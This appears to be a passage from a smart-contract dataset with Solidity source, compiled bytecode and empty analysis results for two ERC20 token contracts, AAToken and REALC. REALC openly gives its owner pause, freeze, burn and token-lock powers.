405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208846f9e054883ddc8f4fd2e4aaf00d19f16d295bc4b44aebf2bf723e3d2bde0464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,205 |
0x5fed01f08b6c17c3d985481dc8f8e5c1105a60d1
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract AAToken is MintableToken{
string public constant name = "AAToken";
string public constant symbol = "AAT";
uint8 public constant decimals = 18;
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde031461011a578063095ea7b3146101aa57806318160ddd1461020f57806323b872dd1461023a578063313ce567146102bf57806340c10f19146102f0578063661884631461035557806370a08231146103ba5780637d64bcb4146104115780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d73dd6231461058c578063dd62ed3e146105f1578063f2fde38b14610668575b600080fd5b3480156100f757600080fd5b506101006106ab565b604051808215151515815260200191505060405180910390f35b34801561012657600080fd5b5061012f6106be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b657600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f7565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b506102246107e9565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f3565b604051808215151515815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610bad565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb2565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d98565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611029565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b50610426611071565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b50610455611139565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac61115f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611198565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113b7565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b3565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061163a565b005b600360149054906101000a900460ff1681565b6040805190810160405280600781526020017f4141546f6b656e0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090857600080fd5b610959826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ec826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610abd82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1057600080fd5b600360149054906101000a900460ff16151515610c2c57600080fd5b610c41826001546117ab90919063ffffffff16565b600181905550610c98826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ea9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d565b610ebc838261179290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110cf57600080fd5b600360149054906101000a900460ff161515156110eb57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f414154000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111d557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561122257600080fd5b611273826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611306826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061144882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116d257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156117a057fe5b818303905092915050565b600081830190508281101515156117be57fe5b809050929150505600a165627a7a72305820c165bf19a679232c614fc1c68d6e86a2f2df029ff4ea34f498ad18893619b3b20029
|
{"success": true, "error": null, "results": {}}
| 8,206 |
0x8c3ec7911f6d1f39570337761d54daed86131241
|
// ----------------------------------------------------------------------------
// REALC Contract
// Name : REALC
// Symbol : REALC
// Decimals : 18
// InitialSupply : 1,000,000,000 REALC
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract REALC is ERC20 {
string public constant name = "REALC";
string public constant symbol = "REALC";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104f7578063e2ab691d1461051d578063e58398361461054f578063f2fde38b146105755761018e565b8063a9059cbb1461046b578063dd62ed3e14610497578063de6baccb146104c55761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146101935780639dc29fac14610413578063a457c2d71461043f5761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b61059b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105bf565b604080519115158252519081900360200190f35b6102586105d5565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105dc565b6102a86106c3565b6040805160ff9092168252519081900360200190f35b6102586106c8565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106d8565b6102fa610719565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610806565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108af565b6040805192835260208301919091528051918290030190f35b61023c610928565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610938565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109d2565b6102fa610c80565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d69565b6103f7610e15565b604080516001600160a01b039092168252519081900360200190f35b6102fa6004803603604